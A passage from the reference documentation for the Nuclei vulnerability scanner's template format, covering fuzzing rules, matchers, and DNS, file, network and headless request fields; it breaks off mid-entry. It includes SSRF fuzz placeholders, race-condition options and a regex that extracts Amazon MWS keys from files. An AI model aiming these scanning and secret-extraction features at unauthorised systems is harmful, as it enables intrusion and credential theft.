<i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nRace determines if all the request have to be attempted at the same time (Race Condition)\n\nThe actual number of requests that will be sent is determined by the `race_count`  field.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>req-condition</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nReqCondition automatically assigns numbers to requests and preserves their history.\n\nThis allows matching on them later for multi-request conditions.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>stop-at-first-match</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nStopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>skip-variables-check</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nSkipVariablesCheck skips the check for unresolved variables in request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>iterate-all</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nIterateAll iterates all the values extracted from internal extractors\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>digest-username</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nDigestAuthUsername specifies the username for digest authentication\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>digest-password</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nDigestAuthPassword specifies the password for digest authentication\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>disable-path-automerge</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nDisablePathAutomerge disables merging target url path with raw request path\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>pre-condition</code>  <i>[]<a href=\"#matchersmatcher\">matchers.Matcher</a></i>\n\n</div>\n<div class=\"dt\">\n\nFuzz PreCondition is matcher-like field to check if fuzzing should be performed on this request or not\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>pre-condition-operator</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nFuzzPreConditionOperator is the operator between multiple PreConditions for fuzzing Default is OR\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>global-matchers</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nGlobalMatchers marks matchers as static and applies globally to all result events from other templates\n\n</div>\n\n<hr />\n\n\n\n\n\n## generators.AttackTypeHolder\nAttackTypeHolder is used to hold internal type of the protocol\n\nAppears in:\n\n\n- <code><a href=\"#httprequest\">http.Request</a>.attack</code>\n\n- <code><a href=\"#dnsrequest\">dns.Request</a>.attack</code>\n\n- <code><a href=\"#networkrequest\">network.Request</a>.attack</code>\n\n- <code><a href=\"#headlessrequest\">headless.Request</a>.attack</code>\n\n- <code><a href=\"#websocketrequest\">websocket.Request</a>.attack</code>\n\n- <code><a href=\"#javascriptrequest\">javascript.Request</a>.attack</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code></code>  <i>AttackType</i>\n\n</div>\n<div class=\"dt\">\n\n\n\n\nEnum Values:\n\n\n  - <code>batteringram</code>\n\n  - <code>pitchfork</code>\n\n  - <code>clusterbomb</code>\n</div>\n\n<hr />\n\n\n\n\n\n## HTTPMethodTypeHolder\nHTTPMethodTypeHolder is used to hold internal type of the HTTP Method\n\nAppears in:\n\n\n- <code><a href=\"#httprequest\">http.Request</a>.method</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code></code>  <i>HTTPMethodType</i>\n\n</div>\n<div class=\"dt\">\n\n\n\n\nEnum Values:\n\n\n  - <code>GET</code>\n\n  - <code>HEAD</code>\n\n  - <code>POST</code>\n\n  - <code>PUT</code>\n\n  - <code>DELETE</code>\n\n  - <code>CONNECT</code>\n\n  - <code>OPTIONS</code>\n\n  - <code>TRACE</code>\n\n  - <code>PATCH</code>\n\n  - <code>PURGE</code>\n\n  - <code>Debug</code>\n</div>\n\n<hr />\n\n\n\n\n\n## fuzz.Rule\nRule is a single rule which describes how to fuzz the request\n\nAppears in:\n\n\n- <code><a href=\"#httprequest\">http.Request</a>.fuzzing</code>\n\n- <code><a href=\"#headlessrequest\">headless.Request</a>.fuzzing</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>type</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nType is the type of fuzzing rule to perform.\n\nreplace replaces the values entirely. prefix prefixes the value. postfix postfixes the value\nand infix places between the values.\n\n\nValid values:\n\n\n  - <code>replace</code>\n\n  - <code>prefix</code>\n\n  - <code>postfix</code>\n\n  - <code>infix</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>part</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nPart is the part of request to fuzz.\n\n\nValid values:\n\n\n  - <code>query</code>\n\n  - <code>header</code>\n\n  - <code>path</code>\n\n  - <code>body</code>\n\n  - <code>cookie</code>\n\n  - <code>request</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>parts</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nParts is the list of parts to fuzz. If multiple parts need to be\ndefined while excluding some, this should be used instead of singular part.\n\n\nValid values:\n\n\n  - <code>query</code>\n\n  - <code>header</code>\n\n  - <code>path</code>\n\n  - <code>body</code>\n\n  - <code>cookie</code>\n\n  - <code>request</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>mode</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nMode is the mode of fuzzing to perform.\n\nsingle fuzzes one value at a time. multiple fuzzes all values at same time.\n\n\nValid values:\n\n\n  - <code>single</code>\n\n  - <code>multiple</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>keys</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nKeys is the optional list of key named parameters to fuzz.\n\n\n\nExamples:\n\n\n```yaml\n# Examples of keys\nkeys:\n    - url\n    - file\n    - host\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>keys-regex</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nKeysRegex is the optional list of regex key parameters to fuzz.\n\n\n\nExamples:\n\n\n```yaml\n# Examples of key regex\nkeys-regex:\n    - url.*\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>values</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nValues is the optional list of regex value parameters to fuzz.\n\n\n\nExamples:\n\n\n```yaml\n# Examples of value regex\nvalues:\n    - https?://.*\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>fuzz</code>  <i><a href=\"#sliceormapslice\">SliceOrMapSlice</a></i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n   Fuzz is the list of payloads to perform substitutions with.\n examples:\n   - name: Examples of fuzz\n     value: >\n       []string{\"{{ssrf}}\", \"{{interactsh-url}}\", \"example-value\"}\n      or\n       x-header: 1\n       x-header: 2\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>replace-regex</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nreplace-regex is regex for regex-replace rule type\nit is only required for replace-regex rule type\n\n</div>\n\n<hr />\n\n\n\n\n\n## SliceOrMapSlice\n\nAppears in:\n\n\n- <code><a href=\"#fuzzrule\">fuzz.Rule</a>.fuzz</code>\n\n\n\n\n\n\n\n## analyzers.AnalyzerTemplate\nAnalyzerTemplate is the template for the analyzer\n\nAppears in:\n\n\n- <code><a href=\"#httprequest\">http.Request</a>.analyzer</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>name</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nName is the name of the analyzer to use\n\n\nValid values:\n\n\n  - <code>time_delay</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>parameters</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nParameters is the parameters for the analyzer\n\nParameters are different for each analyzer. For example, you can customize\ntime_delay analyzer with sleep_duration, time_slope_error_range, etc. Refer\nto the docs for each analyzer to get an idea about parameters.\n\n</div>\n\n<hr />\n\n\n\n\n\n## SignatureTypeHolder\nSignatureTypeHolder is used to hold internal type of the signature\n\nAppears in:\n\n\n- <code><a href=\"#httprequest\">http.Request</a>.signature</code>\n\n\n\n\n\n\n\n## matchers.Matcher\nMatcher is used to match a part in the output from a protocol.\n\nAppears in:\n\n\n- <code><a href=\"#httprequest\">http.Request</a>.pre-condition</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>type</code>  <i><a href=\"#matchertypeholder\">MatcherTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nType is the type of the matcher.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>condition</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nCondition is the optional condition between two matcher variables. By default,\nthe condition is assumed to be OR.\n\n\nValid values:\n\n\n  - <code>and</code>\n\n  - <code>or</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>part</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nPart is the part of the request response to match data from.\n\nEach protocol exposes a lot of different parts which are well\ndocumented in docs for each request type.\n\n\n\nExamples:\n\n\n```yaml\npart: body\n```\n\n```yaml\npart: raw\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>negative</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nNegative specifies if the match should be reversed\nIt will only match if the condition is not true.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>name</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nName of the matcher. Name should be lowercase and must not contain\nspaces or underscores (_).\n\n\n\nExamples:\n\n\n```yaml\nname: cookie-matcher\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>status</code>  <i>[]int</i>\n\n</div>\n<div class=\"dt\">\n\nStatus are the acceptable status codes for the response.\n\n\n\nExamples:\n\n\n```yaml\nstatus:\n    - 200\n    - 302\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>size</code>  <i>[]int</i>\n\n</div>\n<div class=\"dt\">\n\nSize is the acceptable size for the response\n\n\n\nExamples:\n\n\n```yaml\nsize:\n    - 3029\n    - 2042\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>words</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nWords contains word patterns required to be present in the response part.\n\n\n\nExamples:\n\n\n```yaml\n# Match for Outlook mail protection domain\nwords:\n    - mail.protection.outlook.com\n```\n\n```yaml\n# Match for application/json in response headers\nwords:\n    - application/json\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>regex</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nRegex contains Regular Expression patterns required to be present in the response part.\n\n\n\nExamples:\n\n\n```yaml\n# Match for Linkerd Service via Regex\nregex:\n    - (?mi)^Via\\\\s*?:.*?linkerd.*$\n```\n\n```yaml\n# Match for Open Redirect via Location header\nregex:\n    - (?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)example\\\\.com.*$\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>binary</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nBinary are the binary patterns required to be present in the response part.\n\n\n\nExamples:\n\n\n```yaml\n# Match for Springboot Heapdump Actuator \"JAVA PROFILE\", \"HPROF\", \"Gunzip magic byte\"\nbinary:\n    - 4a4156412050524f46494c45\n    - 4850524f46\n    - 1f8b080000000000\n```\n\n```yaml\n# Match for 7zip files\nbinary:\n    - 377ABCAF271C\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>dsl</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nDSL are the dsl expressions that will be evaluated as part of nuclei matching rules.\nA list of these helper functions are available [here](https://nuclei.projectdiscovery.io/templating-guide/helper-functions/).\n\n\n\nExamples:\n\n\n```yaml\n# DSL Matcher for package.json file\ndsl:\n    - contains(body, 'packages') && contains(tolower(all_headers), 'application/octet-stream') && status_code == 200\n```\n\n```yaml\n# DSL Matcher for missing strict transport security header\ndsl:\n    - '!contains(tolower(all_headers), ''''strict-transport-security'''')'\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>xpath</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nXPath are the xpath queries expressions that will be evaluated against the response part.\n\n\n\nExamples:\n\n\n```yaml\n# XPath Matcher to check a title\nxpath:\n    - /html/head/title[contains(text(), 'How to Find XPath')]\n```\n\n```yaml\n# XPath Matcher for finding links with target=\"_blank\"\nxpath:\n    - //a[@target=\"_blank\"]\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>encoding</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nEncoding specifies the encoding for the words field if any.\n\n\nValid values:\n\n\n  - <code>hex</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>case-insensitive</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nCaseInsensitive enables case-insensitive matches. Default is false.\n\n\nValid values:\n\n\n  - <code>false</code>\n\n  - <code>true</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>match-all</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nMatchAll enables matching for all matcher values. Default is false.\n\n\nValid values:\n\n\n  - <code>false</code>\n\n  - <code>true</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>internal</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n  Internal when true hides the matcher from output. Default is false.\n It is meant to be used in multiprotocol / flow templates to create internal matcher condition without printing it in output.\n or other similar use cases.\n values:\n   - false\n   - true\n\n</div>\n\n<hr />\n\n\n\n\n\n## MatcherTypeHolder\nMatcherTypeHolder is used to hold internal type of the matcher\n\nAppears in:\n\n\n- <code><a href=\"#matchersmatcher\">matchers.Matcher</a>.type</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code></code>  <i>MatcherType</i>\n\n</div>\n<div class=\"dt\">\n\n\n\n\nEnum Values:\n\n\n  - <code>word</code>\n\n  - <code>regex</code>\n\n  - <code>binary</code>\n\n  - <code>status</code>\n\n  - <code>size</code>\n\n  - <code>dsl</code>\n\n  - <code>xpath</code>\n</div>\n\n<hr />\n\n\n\n\n\n## dns.Request\nRequest contains a DNS protocol request to be made from a template\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.dns</code>\n\n\n```yaml\nextractors:\n    - type: regex\n      regex:\n        - ec2-[-\\d]+\\.compute[-\\d]*\\.amazonaws\\.com\n        - ec2-[-\\d]+\\.[\\w\\d\\-]+\\.compute[-\\d]*\\.amazonaws\\.com\nname: '{{FQDN}}'\ntype: CNAME\nclass: inet\nretries: 2\nrecursion: false\n```\n\nPart Definitions: \n\n\n- <code>template-id</code> - ID of the template executed\n- <code>template-info</code> - Info Block of the template executed\n- <code>template-path</code> - Path of the template executed\n- <code>host</code> - Host is the input to the template\n- <code>matched</code> - Matched is the input which was matched upon\n- <code>request</code> - Request contains the DNS request in text format\n- <code>type</code> - Type is the type of request made\n- <code>rcode</code> - Rcode field returned for the DNS request\n- <code>question</code> - Question contains the DNS question field\n- <code>extra</code> - Extra contains the DNS response extra field\n- <code>answer</code> - Answer contains the DNS response answer field\n- <code>ns</code> - NS contains the DNS response NS field\n- <code>raw,body,all</code> - Raw contains the raw DNS response (default)\n- <code>trace</code> - Trace contains trace data for DNS request if enabled\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the optional id of the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>name</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nName is the Hostname to make DNS request for.\n\nGenerally, it is set to {{FQDN}} which is the domain we get from input.\n\n\n\nExamples:\n\n\n```yaml\nname: '{{FQDN}}'\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>type</code>  <i><a href=\"#dnsrequesttypeholder\">DNSRequestTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nRequestType is the type of DNS request to make.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>class</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nClass is the class of the DNS request.\n\nUsually it's enough to just leave it as INET.\n\n\nValid values:\n\n\n  - <code>inet</code>\n\n  - <code>csnet</code>\n\n  - <code>chaos</code>\n\n  - <code>hesiod</code>\n\n  - <code>none</code>\n\n  - <code>any</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>retries</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nRetries is the number of retries for the DNS request\n\n\n\nExamples:\n\n\n```yaml\n# Use a retry of 3 to 5 generally\nretries: 5\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>trace</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nTrace performs a trace operation for the target.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>trace-max-recursion</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nTraceMaxRecursion is the number of max recursion allowed for trace operations\n\n\n\nExamples:\n\n\n```yaml\n# Use a retry of 100 to 150 generally\ntrace-max-recursion: 100\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>attack</code>  <i><a href=\"#generatorsattacktypeholder\">generators.AttackTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nAttack is the type of payload combinations to perform.\n\nBatteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\npermutations and combinations for all payloads.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>payloads</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nPayloads contains any payloads for the current request.\n\nPayloads support both key-values combinations where a list\nof payloads is provided, or optionally a single file can also\nbe provided as payload which will be read on run-time.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>threads</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nThreads to use when sending iterating over payloads\n\n\n\nExamples:\n\n\n```yaml\n# Send requests using 10 concurrent threads\nthreads: 10\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>recursion</code>  <i>dns.bool</i>\n\n</div>\n<div class=\"dt\">\n\nRecursion determines if resolver should recurse all records to get fresh results.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>resolvers</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nResolvers to use for the dns requests\n\n</div>\n\n<hr />\n\n\n\n\n\n## DNSRequestTypeHolder\nDNSRequestTypeHolder is used to hold internal type of the DNS type\n\nAppears in:\n\n\n- <code><a href=\"#dnsrequest\">dns.Request</a>.type</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code></code>  <i>DNSRequestType</i>\n\n</div>\n<div class=\"dt\">\n\n\n\n\nEnum Values:\n\n\n  - <code>A</code>\n\n  - <code>NS</code>\n\n  - <code>DS</code>\n\n  - <code>CNAME</code>\n\n  - <code>SOA</code>\n\n  - <code>PTR</code>\n\n  - <code>MX</code>\n\n  - <code>TXT</code>\n\n  - <code>AAAA</code>\n\n  - <code>CAA</code>\n\n  - <code>TLSA</code>\n\n  - <code>ANY</code>\n\n  - <code>SRV</code>\n</div>\n\n<hr />\n\n\n\n\n\n## file.Request\nRequest contains a File matching mechanism for local disk operations.\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.file</code>\n\n\n```yaml\nextractors:\n    - type: regex\n      regex:\n        - amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\nextensions:\n    - all\n```\n\nPart Definitions: \n\n\n- <code>template-id</code> - ID of the template executed\n- <code>template-info</code> - Info Block of the template executed\n- <code>template-path</code> - Path of the template executed\n- <code>matched</code> - Matched is the input which was matched upon\n- <code>path</code> - Path is the path of file on local filesystem\n- <code>type</code> - Type is the type of request made\n- <code>raw,body,all,data</code> - Raw contains the raw file contents\n\n<hr />\n\n<div class=\"dd\">\n\n<code>extensions</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nExtensions is the list of extensions or mime types to perform matching on.\n\n\n\nExamples:\n\n\n```yaml\nextensions:\n    - .txt\n    - .go\n    - .json\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>denylist</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nDenyList is the list of file, directories, mime types or extensions to deny during matching.\n\nBy default, it contains some non-interesting extensions that are hardcoded\nin nuclei.\n\n\n\nExamples:\n\n\n```yaml\ndenylist:\n    - .avi\n    - .mov\n    - .mp3\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the optional id of the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>max-size</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nMaxSize is the maximum size of the file to run request on.\n\nBy default, nuclei will process 1 GB of content and not go more than that.\nIt can be set to much lower or higher depending on use.\nIf set to \"no\" then all content will be processed\n\n\n\nExamples:\n\n\n```yaml\nmax-size: 5Mb\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>archive</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nelaborates archives\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>mime-type</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nenables mime types check\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>no-recursive</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nNoRecursive specifies whether to not do recursive checks if folders are provided.\n\n</div>\n\n<hr />\n\n\n\n\n\n## network.Request\nRequest contains a Network protocol request to be made from a template\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.network</code>\n\n- <code><a href=\"#template\">Template</a>.tcp</code>\n\n\n```yaml\nhost:\n    - '{{Hostname}}'\n    - '{{Hostname}}:2181'\ninputs:\n    - data: \"envi\\r\\nquit\\r\\n\"\nread-size: 2048\nmatchers:\n    - type: word\n      words:\n        - zookeeper.version\n```\n\nPart Definitions: \n\n\n- <code>template-id</code> - ID of the template executed\n- <code>template-info</code> - Info Block of the template executed\n- <code>template-path</code> - Path of the template executed\n- <code>host</code> - Host is the input to the template\n- <code>matched</code> - Matched is the input which was matched upon\n- <code>type</code> - Type is the type of request made\n- <code>request</code> - Network request made from the client\n- <code>body,all,data</code> - Network response received from server (default)\n- <code>raw</code> - Full Network protocol data\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the optional id of the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>host</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nHost to send network requests to.\n\nUsually it's set to `{{Hostname}}`. If you want to enable TLS for\nTCP Connection, you can use `tls://{{Hostname}}`.\n\n\n\nExamples:\n\n\n```yaml\nhost:\n    - '{{Hostname}}'\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>attack</code>  <i><a href=\"#generatorsattacktypeholder\">generators.AttackTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nAttack is the type of payload combinations to perform.\n\nBatteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\npermutations and combinations for all payloads.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>payloads</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nPayloads contains any payloads for the current request.\n\nPayloads support both key-values combinations where a list\nof payloads is provided, or optionally a single file can also\nbe provided as payload which will be read on run-time.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>threads</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nThreads specifies number of threads to use sending requests. This enables Connection Pooling.\n\nConnection: Close attribute must not be used in request while using threads flag, otherwise\npooling will fail and engine will continue to close connections after requests.\n\n\n\nExamples:\n\n\n```yaml\n# Send requests using 10 concurrent threads\nthreads: 10\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>inputs</code>  <i>[]<a href=\"#networkinput\">network.Input</a></i>\n\n</div>\n<div class=\"dt\">\n\nInputs contains inputs for the network socket\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>port</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n   Port is the port to send network requests to. this acts as default port but is overridden if target/input contains\n non-http(s) ports like 80,8080,8081 etc\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>exclude-ports</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\ndescription:\t|\n\tExcludePorts is the list of ports to exclude from being scanned . It is intended to be used with `Port` field and contains a list of ports which are ignored/skipped\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>read-size</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nReadSize is the size of response to read at the end\n\nDefault value for read-size is 1024.\n\n\n\nExamples:\n\n\n```yaml\nread-size: 2048\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>read-all</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nReadAll determines if the data stream should be read till the end regardless of the size\n\nDefault value for read-all is false.\n\n\n\nExamples:\n\n\n```yaml\nread-all: false\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>stop-at-first-match</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nStopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\n\n</div>\n\n<hr />\n\n\n\n\n\n## network.Input\n\nAppears in:\n\n\n- <code><a href=\"#networkrequest\">network.Request</a>.inputs</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>data</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nData is the data to send as the input.\n\nIt supports DSL Helper Functions as well as normal expressions.\n\n\n\nExamples:\n\n\n```yaml\ndata: TEST\n```\n\n```yaml\ndata: hex_decode('50494e47')\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>type</code>  <i><a href=\"#networkinputtypeholder\">NetworkInputTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nType is the type of input specified in `data` field.\n\nDefault value is text, but hex can be used for hex formatted data.\n\n\nValid values:\n\n\n  - <code>hex</code>\n\n  - <code>text</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>read</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nRead is the number of bytes to read from socket.\n\nThis can be used for protocols which expect an immediate response. You can\nread and write responses one after another and eventually perform matching\non every data captured with `name` attribute.\n\nThe [network docs](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/) highlight more on how to do this.\n\n\n\nExamples:\n\n\n```yaml\nread: 1024\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>name</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nName is the optional name of the data read to provide matching on.\n\n\n\nExamples:\n\n\n```yaml\nname: prefix\n```\n\n\n</div>\n\n<hr />\n\n\n\n\n\n## NetworkInputTypeHolder\nNetworkInputTypeHolder is used to hold internal type of the Network type\n\nAppears in:\n\n\n- <code><a href=\"#networkinput\">network.Input</a>.type</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code></code>  <i>NetworkInputType</i>\n\n</div>\n<div class=\"dt\">\n\n\n\n\nEnum Values:\n\n\n  - <code>hex</code>\n\n  - <code>text</code>\n</div>\n\n<hr />\n\n\n\n\n\n## headless.Request\nRequest contains a Headless protocol request to be made from a template\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.headless</code>\n\n\n\nPart Definitions: \n\n\n- <code>template-id</code> - ID of the template executed\n- <code>template-info</code> - Info Block of the template executed\n- <code>template-path</code> - Path of the template executed\n- <code>host</code> - Host is the input to the template\n- <code>matched</code> - Matched is the input which was matched upon\n- <code>type</code> - Type is the type of request made\n- <code>req</code> - Headless request made from the client\n- <code>resp,body,data</code> - Headless response received from client (default)\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the optional id of the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>attack</code>  <i><a href=\"#generatorsattacktypeholder\">generators.AttackTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nAttack is the type of payload combinations to perform.\n\nBatteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\npermutations and combinations for all payloads.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>payloads</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nPayloads contains any payloads for the current request.\n\nPayloads support both key-values combinations where a list\nof payloads is provided, or optionally a single file can also\nbe provided as payload which will be read on run-time.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>steps</code>  <i>[]<a href=\"#engineaction\">engine.Action</a></i>\n\n</div>\n<div class=\"dt\">\n\nSteps is the list of actions to run for 